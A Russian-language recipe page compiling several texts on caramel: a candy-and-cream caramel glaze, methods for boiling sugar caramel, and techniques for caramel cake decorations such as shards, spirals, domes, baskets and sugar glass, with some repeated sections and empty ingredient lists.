Содержание

Рецепт Карамельная глазурь: видео-рецепт

Глазурь со вкусом карамели прекрасно подойдет для десертов, пирогов и тортов! Вы удивитесь, насколько просто ее приготовить дома!

Ура!

You have all the ingredients, let’s start cooking!

Ингредиенты

0/2 ингредиентов
  • 6-7 конфет «Коровка»
  • 50 мл сливок или молока
desert_recepti ? 5 / 5 1 328

Good job!

Enjoy your meal, hope you had fun with us!

Шаги

Шагов сделано: 0/0
  1. Ставим ковшик на водяную баню.

  2. Помещаем сливки и конфеты в ковшик. От количества конфет будет зависеть густота глазури.

  3. 10-15 минут варим на медленном огне и помешиваем время от времени, пока конфеты не растворятся.

  4. Как только масса стала однородной, сразу можно использовать.

Приятного аппетита!

Ключевые слова:
ID: 26601

Рецепт карамели для украшения тортов. Карамельная глазурь: технология приготовления, подробные рецепты

Карамель — лакомство, известное с детства. Редкий ребенок, съев петушка на палочке, не пытался самостоятельно растопить сахар и сделать конфету, и многим это удавалось. Казалось бы, украшения из карамели — что может быть проще? Действительно, сварить карамель довольно просто, но сама работа с ней требует дополнительного инструментария, таланта и терпения.

Если вы готовы повторить подвиг мастеров и самостоятельно изготовить украшения из карамели, например, карамельные цветы, листья или более сложные композиции, то вам понадобится посуда для приготовления с толстыми стенками, термометр до 200 градусов, жидкие красители, спиртовка для скрепления элементов и карамельная лампа, которая поддерживает карамель в эластичном состоянии. Если же высокое искусство уступает место фантазии, вашему творчеству и превосходному вкусу, то присмотритесь к довольно простым, но, тем не менее, оригинальным способам украшения десертов, которые предлагает «Кулинарный Эдем».

Прежде чем начать творить украшения из карамели, нужно правильно приготовить саму карамель. Существует два способа приготовления.

Первый способ

Ингредиенты:
1 стакан сахарного песка,
3/4 стакана воды,

3—5 капель уксусной эссенции 3%-ной,
краска пищевая.

Приготовление:
В посуду для варки карамели вылить ¾ стакана воды и довести ее до кипения. В кипящую воду всыпать сахар, тщательно размешать и добавить уксусную эссенцию. Полученный раствор довести до кипения и варить до взятия карамельной пробы. Карамельная проба проводится с помощью нескольких охлажденных капель карамели, они не должны сгибаться и клеиться к зубам, но при этом хорошо дробиться. Готовую карамель выливают в охлажденную посуду, смазанную растительным маслом. Когда карамель немного остынет, добавьте в нее краситель.

Второй способ

Ингредиенты:
35 мл воды,
100 гр сахара,
50 гр патоки,

3-5 капель уксусной эссенции
или 10-12 капель растворенной лимонной кислоты

Приготовление:
В посуду для варки карамели влейте воду и доведите ее до кипения. Добавьте сахар, размешайте и снова доведите до кипения. В полученный раствор добавьте патоку и доведите до кипения. Полученную массу процедите через сито и уваривайте до карамельной пробы. К слегка остывшей массе добавьте лимонную кислоту или уксусную эссенцию, краситель нужного вам цвета и ароматизатор, хорошо перемешайте.

Чтобы карамельная масса не успевала застывать до того, как вы сформируете задуманный узор, варить ее нужно маленькими порциями в небольшой посуде. Готовую карамельную массу растягивают и загибают, придавая нужную форму при помощи широкого ножа, смазанного маслом.

Один из самых простых способов украшения тортов — это колотая карамель. В качестве основы лучше использовать крем белого цвета — белковый, из взбитых сливок или из йогурта. На белом креме будет лучше виден королевский натуральный цвет карамели, а если вы решите сделать ее разноцветной, то цвета будут выглядеть ярче именно на белом фоне.

Чтобы получить подобное украшение, приготовьте карамель, смажьте маслом сковороду или большой лист пергаментной бумаги и распределите карамель по ее поверхности так, чтобы получился слой толщиной около 3 мм. Оставьте карамель застывать. Когда она застынет, отделите ее от бумаги или сковороды и начинайте осторожно откалывать от нее небольшие кусочки, которыми, как мозаикой, украсьте ваш торт.

Карамель пригодится и любителям фруктово-ягодных тортов. Она сделает ягоды слаще, благодаря чему у них появится кисло-сладкий привкус. Подготовьте фрукты и ягоды: очистите киви и нарежьте тонкими пластинками, мандарины разделите на дольки и очистите от мембран, клубнику порежьте четвертинками.

Приготовьте карамель и украсьте торт кусочками киви, дольками мандарина, клубникой и вишней. Смажьте маслом и сверните в кулек пергаментную бумагу. Перелейте в кулек карамель и срежьте маленький уголок. Чем меньше срез, тем тоньше будет узор. Выдавливайте карамель на фрукты и рисуйте ей самые замысловатые узоры, ведь чем ажурней и тоньше, тем красивее получится!

Если украшение уже готово, а карамель осталась и еще не успела засохнуть, то можно сделать спиральки и украсить ими пирожные или использовать как самостоятельный десерт. Для этого нужна слегка остывшая, пластичная карамель, масло и скалка или несколько более тонких палочек по количеству необходимых спиралек.

Смажьте маслом палочки и скатайте карамель в виде жгутов. Полученные жгуты намотайте на палочки или скалку и оставьте до затвердевания карамели. Когда карамель застынет, аккуратно снимите спиральки и украсьте ими ваш десерт.

Душа требует чего-то абстрактного? Всегда пожалуйста. Каждый раз разный, ни с чем не сравнимый, сделанный только вами единственный и неповторимый абстрактный узор из карамели. Для такого творчества вам пригодится пергаментная бумага, скалка, вилка, широкий нож и любые другие подручные средства.

Смажьте пергаментную бумагу и скалку маслом. Слегка остывшую карамель зачерпните ножом или вилкой, если хотите более сложный и тонкий узор, и вытягивайте на бумагу. Не забывайте закручивать карамель, менять направление и плоскость движения. Зачерпните карамель ножом и перенесите ее на скалку. Пока карамель не застыла, растягивайте, перегибайте ее и придавайте любую форму.

Удивите гостей янтарной россыпью на своем кулинарном произведении искусства. Во время приготовления карамели вместо уксусной эссенции добавьте лимонную кислоту, от этого карамель станет желтого цвета. Не ждите, пока она остынет, лучше сразу вооружайтесь силиконовой кистью для выпечки и начинайте творить.

Вокруг торта положите пергаментную бумагу. Окуните кисть в горячую карамель и быстро перенесите ее к торту с белковым кремом или кремом из взбитых сливок. Начинайте разбрызгивать карамель. У вас получатся разные по форме и размерам объемные брызги, которые после застывания будут напоминать рассыпанный янтарь.

Хочется чего-то совсем уж оригинального? Сделайте карамельный купол для ваших пирожных. Конечно, материалов, как и усилий, уйдет довольно много, но разве результат не стоит того? Запаситесь грейпфрутами, их должно быть ровно в два раза меньше, чем пирожных, пергаментной бумагой, маслом и, конечно, карамелью.

Разрежьте грейпфруты ровно пополам и смажьте маслом кожуру. Пергаментную бумагу также смажьте маслом и сверните в кулёк. Наполните его карамелью и срежьте небольшой уголок. Выдавливайте карамель на половинки грейпфрутов так, чтобы получалась тонкая сетка. Когда карамель застынет, снимите сетку с грейпфрута, делать это нужно как можно более аккуратно, потому что конструкция получается довольно хрупкой. Накройте получившимися куполами ваши пирожные и оригинальный десерт готов!

Как видите, для работы с карамелью можно обойтись и без спиртовок, термометров и специальных ламп, и сделать не менее оригинальные и вкусные, чем у профессионалов, украшения. Главное — ваше творческое настроение, желание творить, экспериментировать и удивлять. Карамель — это всего лишь материал, который в ваших руках превращается в исключительные, не похожие на другие, каждый раз разные, удивительные шедевры.

Важно получать удовольствие от самого процесса украшения из карамели и если вам это удается, то экспериментируйте, творите, осваивайте новые материалы, придумывайте что-то новое и удивляйте окружающих!

  • Не знаете, как лучше украсить домашний торт? Загляните сюда, карамель — одно из лучших украшений.

    Карамель — густой сироп из сахара. Для профессионального приготовления карамели нужны вспомогательные инструменты, холодный стол, на который будет выливаться карамель. И плиты, показывающие температуру нагревания, так как есть разные виды карамели и степень нагревания разная.

    Но мы будем готовить карамель в домашних условиях. Кто готовил в детстве жженый сахар или карамельные фигурки в виде петушков, зайчиков и т. д., тот легко поймет процесс приготовления. Приготовим карамель для украшения тортов и пирожных.


    Ингредиенты на 1.
    Порцию.


    Сахар 6 ст. Ложек.
    Вода 2 ст. Ложки.
    Уксусная эссенция 3 мл.
    Лимонная кислота 2 г.


    Время приготовления:
    30 мин.


    Возьмите толстостенную посуду. Сахар и воду берите из расчета 3 части сахара на 1 часть воды. Залейте водой сахар. Поставьте на огонь и нагревайте, постоянно помешивая до тех пор, когда сахар раствориться.
    Затем варите сироп минут 10 до готовности на медленном огне. От краев посуды карамель начнет становиться золотистого цвета, поэтому перемешивайте, следите, чтобы карамель не сгорела.
    Добавьте уксусную эссенцию, перемешайте, затем лимонную кислоту или фруктовую эссенцию. Это для того, чтобы карамель не засахарилась при охлаждении, и для придания вкуса.
    Чтобы прекратить нагревание карамели, нужно опустить посуду в холодную воду, но аккуратно, чтобы не обжечься паром. И сразу начинать рисовать карамелью.
    В том случае, если капнуть готовую карамель на ложку, она застынет, не растекаясь.


    Украшение из карамели для боков торта. Измерьте высоту торта и вырежьте из пергаментной бумаги полоски, смажьте маслом, чтобы карамель легко было отделить. Наберите столовой ложкой карамель и нарисуйте произвольную решетку. Пока карамель сильно не застыла, можете поправлять ее краем ножа.
    Затем снимите ее, пока она совсем не застыла, и прилепите к крему на торте. Это нужно делать, когда торт уже на готовом блюде.
    Корзинка из карамели. Корзинку можно делать на любом предмете, округлой формы: на черпаке, на грейпфруте или апельсине. Смажьте черпак маслом, наберите карамели столовой ложкой и, держа над посудой, нанесите рисунок решетки. Сначала толстые линии, потом тонкие.
    Когда карамель остынет и затвердеет. Просто возьмитесь за корзинку и проверните ее ладонью, она открепится от черпака.
    Корзинка из карамели подходит для подачи десерта в ней или корзинкой можно накрыть, как куполом, например, в середине торта.
    Лишь в том случае, если сделать середину корзинки сплошным дном и от него уже нарисовать лучи, то в такой корзинке можно подавать шарики пломбира или другой не сыпучий десерт.


    Нарисованные фигуры из карамели. Нарисуйте на пергаментной бумаге фигуры, например, завитушки, цветы, сердечки. А на обратной стороне по просвечивающему контуру рисуйте карамелью. Такие фигурки можно выставлять в крем на тортах или украшать пирожные. Здесь уже огромный простор для вашей фантазии.


    Сеточка — паутинка из карамели. На пергаментной бумаге произвольно нарисовать карамелью штрихи.
    Когда остынет, аккуратно разломать на кусочки.
    Украсить ими верх или бока торта.
    Листья из карамели. Нарисуйте карамелью большие капли, ножом сформируйте листья, придавливая бока капли, пока карамель мягкая, нанесите рисунок прожилок.
    Затем руками вытяните и поверните листик, чтобы он не был плоским. Листьями можно украсить торт или сделать стебель из карамели и прикрепить на него листья. Из загустевшей, но не застывшей карамели можно вытягивать любые фигурки.


    Советы.


    — В момент, когда будете готовить карамель, ничто не должно отвлекать вас.
    — Все дополнительные инструменты, пергаментную бумагу с рисунками приготовьте заранее, так как карамель быстро застывает и густеет.
    — Не передержите карамель на огне, иначе можно ее спалить и привкус будет горьковатым.
    — Если вы не успели нарисовать, и карамель загустела, просто подогрейте ее на медленном огне, она расплавится.
    — Чтобы отмыть посуду от карамели, нужно налить в посуду воды и подогреть ее. Карамель сама раствориться и не придется ее отдирать от посуды. Или просто наберите в посуду воды и оставьте на ночь, карамель растворится сама. Автор рецепта и фото: Вера.

    Кружева, спирали, вензеля, целые букеты из прозрачной цветной карамели выглядят очень профессионально. Однако для того, чтобы создать подобные шедевры в домашних условиях, вовсе не обязательно быть кондитером. Карамель легко сварить самостоятельно, а затем сформировать из нее любые украшения, от капель и паутинок до эффектных букетов.

    Преимуществ у карамельного декора множество. Он красиво смотрится на фото и видео, придает любому изделию профессиональный и стильный вид. После застывания карамельные украшения очень сложно испортить. В отличие от шоколада, крема или желе они не растекаются, не тают, не меняют цвет. Естественный оттенок карамели – все оттенки золота и меда. С помощью красителей массу можно тонировать, приятный аромат придадут эссенции, которые по каплям добавляют после варки.

    Украшения из карамели хорошо хранятся. Их можно сделать заранее, поместить в коробки и убрать в сухое прохладное место. Единственный недостаток материала – хрупкость. Начинающим не стоит делать сложные вензеля, цветы и объемные конструкции. Лучше ограничиться паутинками, ажурными полусферами, каплями, листиками и спиралями. Оно выглядят необычно и стильно, а изготавливаются достаточно легко. Профессионалы советуют делать украшения с запасом, в случае поломки пострадавший элемент можно будет быстро заменить.

    Декор из карамели идеально подходит для тортов, покрытых мастикой, кремом (сливочным, белковым, заварным), шоколадной или сахарной глазурью. С ореховой посыпкой, натертым шоколадом или штрейзелем карамель не сочетается, в этом случае стоит выбрать другой декор. Худеющим стоит учесть, что украшения из сахара достаточно калорийны.

    Несмотря на то, что сейчас в магазинах огромный выбор кондитерских изделий, и в том числе тортов, многие хозяюшки предпочитают печь их самостоятельно, чтобы удивить гостей и домочадцев. В качестве декора обычно используют ягоды, крем, шоколад и мастику, а также карамель для торта.

    Как и для чего кондитеры используют карамель

    История тягучей сладкой массы из сахара началась предположительно в Индии пару тысячелетий назад. Тогда в качестве лакомства люди, относящиеся к касте неприкасаемых, жарили порубленный сахарный тростник на огне, получая некое подобие карамели. Однако в том виде, в котором сладость известна сегодня, она появилась не раньше 16 века. И первым продуктом, изготовленным из карамели, был обычный леденец на палочке.

    Сейчас можно выделить несколько видов карамели:

    • твердая,
    • мягкая,
    • леденцовая,
    • с различными добавками.

    Есть, конечно, и другие, но они уже являются смесью представленных или их разновидностями.

    Для изготовления тортов и для их украшения можно использовать любую карамель, но у каждой из них будет своя «функция». Так, мягкой обычно прослаивают коржи, а из леденцовой делают изысканные украшения.

    Рецепт изготовления карамели

    Самую простую карамель варят из воды и сахара. Делают это следующим образом:

    1. На 1 часть воды берут 4 части сахара.
    2. Воду выливают в кастрюлю из нержавеющей стали, туда же засыпают сахар.
    3. Непрерывно помешивая, на среднем огне смесь доводят до кипения.
    Иногда к воде и сахару добавляют еще уксус или лимонный сок, чтобы избежать кристаллизации сахара и преждевременного затвердевания сладости.

    Готовая карамель начинает темнеть, но нельзя допускать, чтобы она стала совсем коричневой. Теперь ее необходимо немедленно перелить в стеклянную или керамическую посуду – и можно использовать карамель для украшения тортов.

    Как сделать фигурки из карамели

    Если решено декорировать торт карамелью, то ею можно не просто полить верхний слой, а сделать необычные украшения. Для этого необходимо действовать быстро, пока сладкая масса не успела остыть.

    Если окунуть деревянную палочку в карамель, то за ней потянется тонкая «ниточка», которая и будет являться основным материалом для украшений.

    Этой нитью можно сделать надпись на торте или скрутить ее в замысловатые фигурки из карамели. Отдельно на силиконовом коврике «вырисовывают» бабочек, цветы, паутинки, нотки и скрипичные ключи, а потом застывшую «скульптуру» ставят в торт вертикально.

    Самым распространенным украшением из растопленного сахара считается спираль. Она может быть круглой или продолговатой. Плоскую круглую можно сделать на том же силиконовом коврике, а если надо, чтобы она была в форме полусферы, то карамельную «нить» накручивают на половник. Продолговатую спираль получают, сняв застывшее украшение с круглой ручки венчика или поварешки.

    Но если сделать разноцветную карамель из изомальта и красителей, то фигурки можно лепить самые разные. Делается это так:

    1. Изомальт расплавляют без воды в сотейнике.
    2. Добавляют в него краситель.
    3. Выливают на силиконовый коврик и слегка остужают.
    4. Массу разминают руками, растягивая ее.
    5. Быстро лепят фигурки, пока материал не застыл.

    Чтобы все время под рукой был материал нужной консистенции, его делят на две части, с одной работают, а другую в это время держат под лампой, чтобы она не остывала, а потом их меняют.

    Карамель – материал не самый капризный. С ним, приноровившись, может справиться даже начинающий кондитер. А простор для фантазии она дает просто огромный.

    А Вы пробовали готовить карамель самостоятельно? Расскажите, что у Вас получилось, в комментариях.

    Сахарная карамель. Способ приготовления карамели:

    • Наполняем глубокую тарелку холодной водой и кладем рядом формочки – все должно быть под рукой.
    • Ставим кастрюлю на средний огонь, засыпаем туда сахар и нагреваем его до жидкого состояния. Не стоит помешивать субстанцию, пока большая часть сахара не растворится.
    • Когда сахар полностью растаял, переключите тумблер на самый слабый огонь и опустите в раствор ложку или формочку. Как только она наполнится, переместите ее секунд на 10 в тарелку с водой, после чего поставьте на влажное полотенце и принимайтесь за следующую форму.
    • Залейте водой кастрюлю, чтобы соскоблить остатки карамели, и вытащите готовые лакомства из формочек. Сделать самостоятельно карамель из сахара оказалось просто, не так ли?

    А теперь – маленькие хитрости, которые помогут сделать ваше сладкое лакомство еще более привлекательным и вкусным.

    Хитрость 1.
    Чтобы сахар не скатывался кусками, в процессе нагревания добавьте в кастрюлю каплю уксуса или лимонного сока, тогда карамель получится однородной.

    Хитрость 2.
    Чтобы получить прозрачную и объемную карамель, залейте в растворенный сахар 4-5 столовых ложек горячей воды. В процессе томления из этой воды вздуется шарик, после чего его нужно выловить и просто подождать, пока он остынет.

    Хитрость 3.
    Чтобы придать карамели пикантный вкус, после снятия с огня капнете в нее коньяк или любой цитрусовый сок; если добавите трав, получатся домашние леденцы от кашля.

    Вас интересует, как приготовить карамель из сахара так, чтобы получились леденцы на палочке? Это тоже совсем просто – вам понадобятся деревянные палочки, например, от мороженого, или, в крайнем случае, зубочистки (для мини-карамелек). Когда кастрюля будет стоять на слабом огне, просто наматываете густую массу на эти палочки и ждете, пока стечет лишнее.

    Вот мы и узнали, как сделать карамель из сахара, потратив минимум времени и подручных средств. Теперь вы можете порадовать вкусным десертом как маленьких гостей, так и своих друзей – кто сказал, что взрослые не любят леденцы на палочке? В дальнейшем, хорошенько потренировавшись, вы сможете готовить дома петушков и другие сложные фигурки.

    1. Украшения из карамели

    Карамель – это сахарный сироп, разогретый на большом огне. Очень важна точность приготовления карамели, разница между тонким и сладковатым вкусом и спаленным несколько секунд. Желательно начать готовку карамели на высоком огне и через минуту уменьшить до небольшого огня, изредка помешивая. Важно подготовить заранее все вспомогательные инструменты. Так как карамель быстро остывает нужно успеть превратить её в нужные формы. Если карамель успела затвердеть, можно её аккуратно подогреть и она вернётся в нужное состояние.
    Очень важно: Так как карамель может дойти до температуры около 160С нужно работать так, что бы не причинить себе или окружающим ожогов.

    Карамель. Основной рецепт.

    Ингредиенты:

    ½ ст. (100 г.) сахара
    2 ст. л. воды (количество воды должно чуть-чуть покрывать сахар)

    Желательно использовать кастрюлю с толстым дном, которое обеспечивает равномерное и не резкое нагревание. Как говорилось выше, начинаем минутку нагревать на высоком огне, затем уменьшаем до меньше среднего. До момента закипание нужно размешать полностью сахар. После этого мешать не нужно. Минут 7-10 понадобится, что бы по краям кастрюли начала образовываться золотистая масса, которая постепенно заполняет всё кастрюлю. Можно покачать кастрюлю из стороны в сторону для улучшения процесса. Когда золотистая масса покроет всё кастрюлю и весь сахар растворится, значит, карамель готов. Ждём, пока все пузырьки разойдутся (покачиваем кастрюлю) и карамель станет прозрачной.

    Снимаем кастрюлю с огня и опускаем (осторожно) в большую кастрюлю, наполненную холодной водой, что бы остановить процесс нагревания карамели. Иногда советуют взять кисточку окунуть в холодную воду и провести изнутри по краям кастрюли во время приготовления (делать очень аккуратно). Готовим украшения, продуманные заранее, так, чтобы карамель не успела затвердеть.
    От цвета карамели зависит вкус. Когда она светлая, то вкус просто сладкий, чем темнее карамель, тем более интересный и тонкий вкус.

    Проблемы, которые могут возникнуть в процессе готовки:

    Если начинается кристаллизация сахара и он постепенно превращается в твёрдую массу, придётся переделывать сначала или легче подогреть (главное не спалить).

    Что бы отодрать затвердевшую массу от кастрюли, Вам придётся всё это залить кипятком и поскрести резиновым венчиком или чем то другим не повредив покрытие кастрюли.

    Клубника в карамели

    Смазываем поверхность маслом, куда будет выкладываться клубника в карамели. Нанизываем клубнику на деревянную зубочистку или шампур. Аккуратно опускаем в карамель и выкладываем на подготовленную поверхность.

    Корзинка из карамели

    Переворачиваем силиконовую формочку вверх ногами. Если нет подходящей, можно использовать подобной формы тарелочку, покрытую алюминием (фольгой) или просто железную тарелочку нужной формы и промасленную (некоторые пользуют половник в перевёрнутом состоянии). Набираем в ложку карамель и сначала делаем толстую полосу карамели у основания формочки или тарелки. Затем делаем продольные, а затем поперечные полосы, пытаясь достигнуть картинки – тюремной решётки. Ждём, чтобы карамель чуть поостыла, но снимаем её, ещё в тёплом состоянии. Аккуратно освобождаем корзинку от фольги или силикона.

    Количество карамели, полученной из основного рецепта, должно хватить на 8 формочек.

    Карамельный шар

    Для этого потребуется приспособление в виде двух шпажек (шампуров) на расстоянии 20 см, друг от друга, закреплённых неподвижно. Берём вилку и разбрызгиваем над шпажками карамель. Собираем полученные нити со шпажек в один шар.

    Трубочка из карамели

    Понадобится небольшая стеклянная баночка.

    Карамельная спираль

    Смазываем мусат маслом. Вращая мусат, поливаем карамелью. Даём остыть и снимаем с мусата.

    Фигурки на пергаментной бумаге

    Естественно натираем пергаментную бумагу маслом и выписываем кренделя или формы по нашему желанию.

    Украшения из карамели в домашних условиях. Секреты карамели для украшений

    Стандартная карамель из воды, сахара и лимонной кислоты, используемая для приготовления хорошо знакомых леденцов на палочке, не годится для изготовления изящных украшений, в крайнем случае из нее можно сделать декоративную сеточку, формируемую из тонких струй выдавленной на лист фольги и охлажденной карамельной массы. Или литую подставку-основу под другие украшения. Цветок из карамели из такой смеси не сделаешь, она годится только для литья.

    Чтобы карамельная масса стала пригодной для лепки, ее делают более пластичной, добавляя при изготовлении патоку. Приобрести патоку в розничной сети довольно сложно, потому, если вы хотите сделать цветы из карамели в домашних условиях, попробуйте заменить ее кленовым сиропом или свежим, не засахарившимся медом (он должен литься с ложки). В крайнем случае в качестве пластификатора используйте искусственный мед.

    Способ приготовления:

    Первый способ

    1. В кастрюлю вылейте 3/4 стакана воды и доведите ее до кипения.
    2. Добавьте сахар, уксусную эссенцию и хорошо перемешайте.
    3. Готовый раствор еще раз доведите до кипения, и варите до взятия карамельной пробы (взятия нескольких охлажденных капель карамели, которые не должны клеиться к зубам или сгибаться).
    4. Карамель вылейте в охлажденную посуду, смазанную растительным маслом.
    1. Добавьте сахар, размешайте и снова доведите до кипения.
    2. В полученный раствор добавьте патоку и доведите до кипения.
    3. Полученную массу процедите через сито и уваривайте до карамельной пробы.
    4. Слегка остудите массу и добавьте уксусную эссенцию, краситель и ароматизатор, хорошо перемешайте.
    5. Готовую карамель можно сгибать или растягивать при помощи широкого ножа, смазанного маслом.

    Совет: чтобы карамель не застыла раньше времени, варите ее маленькими порциями в небольшой посуде.

    Один из самых ярких способов украшения торта – это колотая карамель, выложенная на крем из взбитых сливок или йогурта. Чтобы сделать колотую карамель, смажьте маслом сковороду или большой лист пергаментной бумаги. Затем распределите карамель по ее поверхности так, чтобы получился слой толщиной около 3 мм. Оставьте карамель застывать. Когда она застынет, отделите ее от бумаги или сковороды и начинайте осторожно откалывать от нее небольшие кусочки.

    Также карамель отлично сочетается с фруктами, придавая им приятный кисло-сладкий вкус. Приготовьте карамель и украсьте торт кусочками киви, дольками мандарина, клубникой и вишней. Уверенны, ваши гости придут в восторг.

    Кроме этого, из остатков карамели можно сделать спиральки, которые подойдут для украшения пирожных. Для этого смажьте маслом палочки и скатайте карамель в виде жгутов. Полученные жгуты намотайте на палочки или скалку, и оставьте до затвердевания карамели. Когда карамель застынет, аккуратно снимите спиральки и украсьте ими ваш десерт.

    Из карамели можно сделать различные абстрактные узоры: слегка остывшую карамель зачерпните ножом или вилкой и вытягивайте на пергаментную бумагу. Карамель можно закручивать, менять ей направление, придавая любую форму.

    Еще интересный вариант – янтарная россыпь из карамели. Чтобы создать ее, во время приготовления карамели вместо уксусной эссенции добавьте лимонную кислоту. Далее вооружитесь силиконовой кистью для выпечки и пергаментной бумагой. Окуните кисть в горячую карамель и разбрысывайте капли по выпечке.

    Из карамели можно сделать целый купол. Разрежьте грейпфрут пополам, смажьте кожуру маслом. Пергаментную бумагу также промажьте маслом, сверните ее в кулек, наполните карамелью, сделайте небольшой надрез на кончике кулька. Выдавливайте карамель на половинки грейпфрутов так, чтобы получалась тонкая сетка. Как только карамель застынет, осторожно снимите сетку с грейпфрута. Готово!

    Видео УКРАШЕНИЯ ИЗ КАРАМЕЛИ для десертов.

  • Сахарное стекло — это не что иное, как твердая карамель. Внешне оно очень похоже на обычное стекло, за исключением того, что его можно есть.

    Карамель происходит от латинского слова «cannamella» (сахарный тростник). Впервые карамель приготовили индейцы, которые поджарили на костре листья сахарного тростника. Это, конечно, была совсем иная карамель, но начало положено. В привычном для нас виде карамель появилась во Франции в 16 веке. Сейчас карамель очень популярна и применяется в изготовлении конфет, лекарственных леденцов, а также в качестве соуса для десертов.

    Сегодня мы приготовим сахарное стекло и украсим им торт.

    Ингредиенты для карамели:

    Приготовление карамели:

    С помощью кисти смазываем силиконовый коврик растительным маслом. Кладем смазанный коврик в форму для выпечки (форма должна быть меньше коврика, чтобы карамель не растеклась).

    В кастрюлю с толстым дном складываем все ингредиенты. Ставим кастрюлю на средний огонь и, постоянно помешивая, доводим смесь до кипения.

    Когда смесь закипит, она постепенно станет прозрачной. Продолжаем помешивать, чтобы смесь не прилипала. После закипания измеряем температуру смеси термометром . Нагревать нужно до тех пор, пока смесь не достигнет 149 градусов (это важно: если снимите с огня раньше, карамель будет оставаться липкой). Эта стадия нагревания может длиться от одного до двух часов.

    Когда смесь нагреется до 149 градусов, снимаем кастрюлю с огня. Если вы хотите получить цветную карамель, можно капнуть гелевый краситель Americolor и быстро перемешать до однородного цвета. Я использовала три цвета — Fuchsia , Electric Pink и Violet .

    Здесь стоит отметить, что при нагревании карамель темнеет. И, если недодержать или передержать ее, цвет будет отличаться.

    Теперь приготовим торт.

    Ингредиенты для бисквита:

    Духовку разогреваем до 150 градусов.

    Белки взбиваем с половиной сахара до плотных пиков.

    Если есть второй миксер, одновременно взбиваем желтки с оставшимся сахаром и ванилином до кремообразного состояния белого цвета. Если второго миксера нет, то лучше сначала взбить желтки, т.к. пока они ждут очередь на взбивание, подсыхают, и в готовом бисквите будут заметны крупинки желтка.

    Просеиваем в желтковую смесь половину муки, перемешиваем до однородности. Затем добавляем вторую половину муки и 1/3 белков.

    Ингредиенты для крема:

    Сливки слегка взбиваем с сахаром и ванильным сахаром.

    Затем добавляем сыр. Взбиваем массу на средней скорости до однородности.

    Собираем торт.

    Разрезаем остывший бисквит на равные по высоте коржи. Это удобно делать с помощью специальной струны для нарезки бисквита .

    Смазываем первый корж снизу кремом и кладем его кремом на подложку . Сверху корж пропитываем сиропом (воду, сахар в пропорции 1:1 нагреваем до растворения сахара, добавляем ягоды, снимаем с огня, процеживаем). По желанию можно добавить ягоды или другой наполнитель. Сверху корж покрываем слоем крема.

    Слой за слоем собираем весь торт (у меня 5 коржей, т.к. выпекала две порции бисквита).

    Убираем торт в холодильник для уплотнения структуры крема.

    Крем для покрытия торта делаем так же, как и для пропитки, только ванильный сахар заменяем на ванилин (чтобы не было черных крупинок ванили). По желанию добавляем краситель. Я использовала гелевый краситель Americolor Turquose .

    Достаем торт из холодильника. Наполняем кондитерский мешок с насадкой «Трубочка» кремом. Покрываем кремом весь торт.

    Если кондитерского мешка под рукой нет, крем можно нанести с помощью шпателя .

    Разравниваем крем, плотно прижимая его лопаткой к торту.

    Ни для кого не секрет, что сладкая выпечка завершает праздничную трапезу. Украшение сладкой выпечки поможет проявить новые грани ваших способностей. При оформлении кондитерских изделий каждая женщина выступает в роли дизайнера: Вы можете рисовать кремом, белковой, фруктовой или мучной рисовальными массами, а так же жидким шоколадом. Вы можете продемонстрировать свое мастерство по изготовлению малой пластики, если говорить языком специалистов — изготавливать фигурки и цветы из шоколада, марципана, карамели.
    Начинать лучше с простого и постепенно переходить к более сложным видам украшения.

    Как сделать цветы из карамели


    Как же сделать столь прекрасное и вкусное украшение.

    Карамель — еще один продукт, получаемый из сахара с добавлением вкусовых, красящих и ароматических веществ.

    Основной рецепт карамели:
    всыпать сахар в кастрюлю, залить горячей водой и размешать до полного растворения. Смыть налипший на внутренние края кастрюли сахар, потом поставить ее на сильный огонь и варить не помешивая.

    Как только сироп начнет закипать, ложкой снять пену, снова смыть с краев кастрюли брызги сахарного сиропа, накрыть ее плотно крышкой и варить сироп до пробы на карамель. Карамель готова, когда из небольшого количества сиропа, остуженного в холодной воде, не удается скатать шарик. Если варить меньше – получится помадка, из которой после охлаждения шарик скатать можно.

    На 1стакан сахарного песка: 3/4 стакана воды, 3-5 капель уксусной эссенции или 10-12 капель раствора лимонной кислоты, ароматизатор, пищевая краска.

    Листики из такой карамели можно изготовить с помощью штампика. Из картофеля можно вырезать штампик, наподобие листа с прожилками. Штампик укрепить на вилке рисунком вниз и обмакнуть в горячую карамель. Затем уложить его на смазанную маслом тарелку. Карамель немного приклеится к тарелке, и овощной штампик отделится. Пока листик не остыл растягиванием или перегибанием на скалке придайте ему нужную форму.



    Карамельные цветы

    1. Разделите овал на два части.
    2. Скатайте одну из половинок в виде жгутика. Это будет середина цветка — розы.
    3. Вокруг жгутика оберните и другие лепестки, немного прижимая их.
    4. Один за другим прикрепите остальные лепестки, немного отгибая наружу их верхний край.

    Полученные цветы — украшение хоть куда. Любая маленькая победа окрылит вас и поможет поверить в свои силы. Со временем сможете воплощать все свои задумки, с опытом к вам обязательно придет настоящее мастерство.

    Для торта.

    Испекла я-таки , которым обещала поделится. И поскольку я его пекла в подарок на День рождения, то захотелось мне его как-то по особенному украсить и тут мне вспомнились видеоролики французских кондитеров на You tube, творивших шедевры из карамели.

    Опыт работы с карамелью у меня был, как у впрочем почти каждого ребенка, росшего в Советском Союзе во времена дефицита. Был сахар и жгучее желание поесть чего-нибудь сладенького! И вот, удовлетворяя свои детские желания, мы делали леденцы, варили ириски и молочную помадку.

    Самое главное в этом деле — правильно сварить карамель . У меня все получилось, поэтому смело расскажу вам как это можно сделать.

    Мой творческий замысел был таков: сделать полусферу в окружении 5 карамельных лепестков, этакий «пятицветик» у меня должен был получиться.

    Для этого понадобились:

    • стальной половник (полусфера)
    • 5 одинаковых столовых ложек

    Сначала смажем наши «формы» растительным маслом.

    Варим карамель .

    Соотношение 3:1 запомнить очень легко, так на 3 части сахара потребуется 1 часть воды.

    В ковше или небольшой кастрюле смешиваем нужное количество сахара, я взяла 150 грамм сахара и 50 грамм воды. Ставим ковш на средний огонь и варим смесь до янтарного цвета. Далее вам пригодится сковорода или емкость с холодной водой.

    Ковш с карамелью буквально на секунд 30 днищем отпускаем в воду для охлаждения (осторожно, будет много пара), карамель должна густеть при охлаждении, становясь похожей на тягучий мед. Главное, в этот момент не переохладить смесь. Если вдруг смесь слишком загустеет, то снова поставьте на медленный огонь и подогрейте при постоянном помешивании.

